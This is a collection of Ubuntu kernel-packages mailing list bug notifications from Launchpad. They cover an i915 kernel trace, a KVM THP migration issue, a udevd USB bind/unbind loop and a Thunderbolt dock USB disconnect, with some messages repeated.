crypto_simd snd_hda_codec_realtek glue_helper snd_hda_codec_generic cryptd iwlmvm intel_cstate uvcvideo mac80211 intel_rapl_perf videobuf2_vmalloc snd_seq_midi videobuf2_memops snd_seq_midi_event videobuf2_v4l2 snd_hda_intel videobuf2_core snd_hda_codec snd_rawmidi Jul 25 13:45:51 naamaG kernel: [310183.279581] iwlwifi input_leds joydev rtsx_pci_ms videodev snd_hda_core hci_uart media thinkpad_acpi snd_hwdep serio_raw memstick serdev btusb snd_seq snd_pcm btrtl btqca nvram btbcm cfg80211 snd_seq_device btintel snd_timer bluetooth snd mei_me mei shpchp intel_pch_thermal wmi ecdh_generic soundcore intel_lpss_acpi intel_lpss mac_hid tpm_crb acpi_pad parport_pc ppdev lp parport ip_tables x_tables autofs4 hid_generic usbhid i915 i2c_algo_bit drm_kms_helper syscopyarea sysfillrect rtsx_pci_sdmmc sysimgblt e1000e fb_sys_fops psmouse drm ptp nvme pps_core nvme_core rtsx_pci i2c_hid hid pinctrl_sunrisepoint video pinctrl_intel Jul 25 13:45:51 naamaG kernel: [310183.279663] CPU: 2 PID: 1207 Comm: Xorg Not tainted 4.13.0-46-generic #51-Ubuntu Jul 25 13:45:51 naamaG kernel: [310183.279665] Hardware name: LENOVO 20J60018IV/20J60018IV, BIOS R0FET34W (1.14 ) 06/30/2017 Jul 25 13:45:51 naamaG kernel: [310183.279668] task: 8cf83581 task.stack: 9ecc02c48000 Jul 25 13:45:51 naamaG kernel: [310183.279724] RIP: 0010:intel_atomic_commit_tail+0xddb/0xfb0 [i915] Jul 25 13:45:51 naamaG kernel: [310183.279727] RSP: 0018:9ecc02c4ba90 EFLAGS: 00010286 Jul 25 13:45:51 naamaG kernel: [310183.279731] RAX: 0019 RBX: 8cf8326d0310 RCX: 0006 Jul 25 13:45:51 naamaG kernel: [310183.279733] RDX: RSI: 0082 RDI: 8cf852496570 Jul 25 13:45:51 naamaG kernel: [310183.279735] RBP: 9ecc02c4bb48 R08: 0001 R09: 3b77 Jul 25 13:45:51 naamaG kernel: [310183.279738] R10: 0001 R11: R12: 8cf438d2c000 Jul 25 13:45:51 naamaG kernel: [310183.279740] R13: 8cf833d5 R14: 8cf438d2f000 R15: 8cf8326d0308 Jul 25 13:45:51 naamaG kernel: [310183.279744] FS: 7fb6cf9b4500() GS:8cf85248() knlGS: Jul 25 13:45:51 naamaG kernel: [310183.279746] CS: 0010 DS: ES: CR0: 80050033 Jul 25 13:45:51 naamaG kernel: [310183.279749] CR2: 374f263f6ab8 CR3: 00043a574002 CR4: 003606e0 Jul 25 13:45:51 naamaG kernel: [310183.279751] Call Trace: Jul 25 13:45:51 naamaG kernel: [310183.279761] ? wait_woken+0x80/0x80
[Kernel-packages] [Bug 1788098] Re: Avoid migration issues with aligned 2MB THB
For this particular case the log files are not needed and/or applicable. After discussing in #stable-kernel I set it to confirmed. ** Changed in: linux (Ubuntu Bionic) Status: New => Confirmed ** Changed in: linux (Ubuntu Cosmic) Status: Incomplete => Confirmed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1788098 Title: Avoid migration issues with aligned 2MB THB Status in linux package in Ubuntu: Confirmed Status in qemu package in Ubuntu: Invalid Status in linux source package in Bionic: Confirmed Status in linux source package in Cosmic: Confirmed Bug description: --- Comment From jhop...@us.ibm.com 2018-08-20 17:12 EDT--- Hi, in some environments it was observed that this qemu patch to enable THP made it more likely to hit guest migration issues, however the following kernel patch resolves those migration issues: https://git.kernel.org/pub/scm/linux/kernel/git/paulus/powerpc.git/commit/?h=kvm-ppc-next=c066fafc595eef5ae3c83ae3a8305956b8c3ef15 KVM: PPC: Book3S HV: Use correct pagesize in kvm_unmap_radix() Once merged upstream, it would be good to include that change as well to avoid potential migration problems. Should I open a new bug for that or is it better to track here? Note Paelzer: I have not seen related migration issues myself, but it seems reasonable and confirmed by IBM. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788098/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1788018] Status changed to Confirmed
This change was made by a bot. ** Changed in: linux (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1788018 Title: udevd keeps binding and unbinding some usb device und uses all cpu Status in linux package in Ubuntu: Confirmed Status in systemd package in Ubuntu: New Bug description: It first appeared when I upgraded ubuntu studio to 18.04 udevd started to use all available cpu. now I'm running ubuntu desktop from a usb key and it's still the same udevadm monitor returns: KERNEL[2512.539491] unbind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) UDEV [2512.540201] bind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) KERNEL[2512.566574] bind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) KERNEL[2512.566866] unbind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) UDEV [2512.567499] unbind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) KERNEL[2512.594050] bind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) KERNEL[2512.594310] unbind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) UDEV [2512.596510] bind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) KERNEL[2512.620736] bind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) KERNEL[2512.624606] unbind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) UDEV [2512.634706] unbind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) ... ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: udev 237-3ubuntu10.3 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 CasperVersion: 1.394 CustomUdevRuleFiles: 70-snap.core.rules Date: Mon Aug 20 18:54:48 2018 ExecutablePath: /lib/systemd/systemd-udevd LiveMediaBuild: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 (20180725) MachineType: Dell Inc. Vostro 3300 ProcEnviron: LANG=C.UTF-8 PATH=(custom, no user) ProcKernelCmdLine: file=/cdrom/preseed/hostname.seed boot=casper initrd=/casper/initrd.lz quiet splash --- maybe-ubiquity SourcePackage: systemd UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 02/10/2010 dmi.bios.vendor: Dell Inc. dmi.bios.version: A01 dmi.board.name: 07JC8T dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: Not Specified dmi.modalias: dmi:bvnDellInc.:bvrA01:bd02/10/2010:svnDellInc.:pnVostro3300:pvrNotSpecified:rvnDellInc.:rn07JC8T:rvrA00:cvnDellInc.:ct8:cvrNotSpecified: dmi.product.name: Vostro 3300 dmi.product.version: Not Specified dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788018/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1788098] Re: Avoid migration issues with aligned 2MB THB
FYI: this is essentially an IBM request, reverse mirroring will happen at some point, but I wanted to make you aware right now -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1788098 Title: Avoid migration issues with aligned 2MB THB Status in linux package in Ubuntu: Confirmed Status in qemu package in Ubuntu: Invalid Status in linux source package in Bionic: Confirmed Status in linux source package in Cosmic: Confirmed Bug description: --- Comment From jhop...@us.ibm.com 2018-08-20 17:12 EDT--- Hi, in some environments it was observed that this qemu patch to enable THP made it more likely to hit guest migration issues, however the following kernel patch resolves those migration issues: https://git.kernel.org/pub/scm/linux/kernel/git/paulus/powerpc.git/commit/?h=kvm-ppc-next=c066fafc595eef5ae3c83ae3a8305956b8c3ef15 KVM: PPC: Book3S HV: Use correct pagesize in kvm_unmap_radix() Once merged upstream, it would be good to include that change as well to avoid potential migration problems. Should I open a new bug for that or is it better to track here? Note Paelzer: I have not seen related migration issues myself, but it seems reasonable and confirmed by IBM. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788098/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1766076] Re: USB over thunderbolt turns off every once in a while
This should be fixed in latest Bionic kernel. -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1766076 Title: USB over thunderbolt turns off every once in a while Status in linux package in Ubuntu: Expired Bug description: I'm using a USB hub in the Dell TB16 (240W) connected to a Dell Precision 5520 using Thunderbolt 3. Every so often (can be several times in an hour if I'm really unlucky, some days it is less of a problem), the USB hub disconnects from the computer and the devices connected to it lose power and stop responding. disconnecting and reconnecting the USB cables has no effect. I can restore functionality by instructing the xhci_hcd driver to unbind from the USB 3.0 Host Controller in the dock and to rebind to it using the commands: echo -n ":0e:00.0" > /sys/bus/pci/drivers/xhci_hcd/unbind echo -n ":0e:00.0" > /sys/bus/pci/drivers/xhci_hcd/bind Here's the dmesg output when the USB hub disconnects: 279278.102701] xhci_hcd :0e:00.0: ERROR unknown event type 15 [279283.021802] xhci_hcd :0e:00.0: xHCI host not responding to stop endpoint command. [279283.022145] xhci_hcd :0e:00.0: xHCI host controller not responding, assume dead [279283.022161] r8152 4-1.2:1.0 enxd481d731b2b1: Tx status -108 [279283.022199] xhci_hcd :0e:00.0: HC died; cleaning up [279283.07] usb 3-1.5: Failed to suspend device, error -22 [279283.022234] usb 3-1: USB disconnect, device number 2 [279283.022235] usb 3-1.1: USB disconnect, device number 3 [279283.022236] usb 3-1.1.1: USB disconnect, device number 5 [279283.022237] usb 3-1.1.1.1: USB disconnect, device number 8 [279283.022238] usb 3-1.1.1.1.4: USB disconnect, device number 11 [279283.022326] usb 4-1: USB disconnect, device number 2 [279283.022328] usb 4-1.1: USB disconnect, device number 3 [279283.022329] usb 4-1.1.1: USB disconnect, device number 5 [279283.022998] usb 4-1.2: USB disconnect, device number 4 [279283.191217] usb 3-1.1.1.5: USB disconnect, device number 9 [279283.191730] usb 3-1.1.3: USB disconnect, device number 6 [279283.260810] usb 3-1.1.5: USB disconnect, device number 7 [279283.261350] usb 3-1.5: USB disconnect, device number 4 Here's dmesg output during the USB host controller reset: 279389.813889] xhci_hcd :0e:00.0: remove, state 1 [279389.813894] usb usb4: USB disconnect, device number 1 [279389.814103] xhci_hcd :0e:00.0: USB bus 4 deregistered [279389.814107] xhci_hcd :0e:00.0: remove, state 1 [279389.814110] usb usb3: USB disconnect, device number 1 [279389.881651] xhci_hcd :0e:00.0: USB bus 3 deregistered [279389.882133] xhci_hcd :0e:00.0: xHCI Host Controller [279389.882138] xhci_hcd :0e:00.0: new USB bus registered, assigned bus number 3 [279389.949391] xhci_hcd :0e:00.0: hcc params 0x0200e081 hci version 0x100 quirks 0x1410 [279389.949979] usb usb3: New USB device found, idVendor=1d6b, idProduct=0002 [279389.949981] usb usb3: New USB device strings: Mfr=3, Product=2, SerialNumber=1 [279389.949982] usb usb3: Product: xHCI Host Controller [279389.949983] usb usb3: Manufacturer: Linux 4.15.0-15-generic xhci-hcd [279389.949983] usb usb3: SerialNumber: :0e:00.0 [279389.950117] hub 3-0:1.0: USB hub found
[Kernel-packages] [Bug 1788018] Re: udevd keeps binding and unbinding some usb device und uses all cpu
** Also affects: linux (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1788018 Title: udevd keeps binding and unbinding some usb device und uses all cpu Status in linux package in Ubuntu: Confirmed Status in systemd package in Ubuntu: New Bug description: It first appeared when I upgraded ubuntu studio to 18.04 udevd started to use all available cpu. now I'm running ubuntu desktop from a usb key and it's still the same udevadm monitor returns: KERNEL[2512.539491] unbind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) UDEV [2512.540201] bind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) KERNEL[2512.566574] bind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) KERNEL[2512.566866] unbind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) UDEV [2512.567499] unbind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) KERNEL[2512.594050] bind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) KERNEL[2512.594310] unbind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) UDEV [2512.596510] bind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) KERNEL[2512.620736] bind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) KERNEL[2512.624606] unbind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) UDEV [2512.634706] unbind /devices/pci:00/:00:1a.0/usb1/1-1/1-1.1/1-1.1.2/1-1.1.2:1.0 (usb) ... ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: udev 237-3ubuntu10.3 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 CasperVersion: 1.394 CustomUdevRuleFiles: 70-snap.core.rules Date: Mon Aug 20 18:54:48 2018 ExecutablePath: /lib/systemd/systemd-udevd LiveMediaBuild: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 (20180725) MachineType: Dell Inc. Vostro 3300 ProcEnviron: LANG=C.UTF-8 PATH=(custom, no user) ProcKernelCmdLine: file=/cdrom/preseed/hostname.seed boot=casper initrd=/casper/initrd.lz quiet splash --- maybe-ubiquity SourcePackage: systemd UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 02/10/2010 dmi.bios.vendor: Dell Inc. dmi.bios.version: A01 dmi.board.name: 07JC8T dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: Not Specified dmi.modalias: dmi:bvnDellInc.:bvrA01:bd02/10/2010:svnDellInc.:pnVostro3300:pvrNotSpecified:rvnDellInc.:rn07JC8T:rvrA00:cvnDellInc.:ct8:cvrNotSpecified: dmi.product.name: Vostro 3300 dmi.product.version: Not Specified dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1788018/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
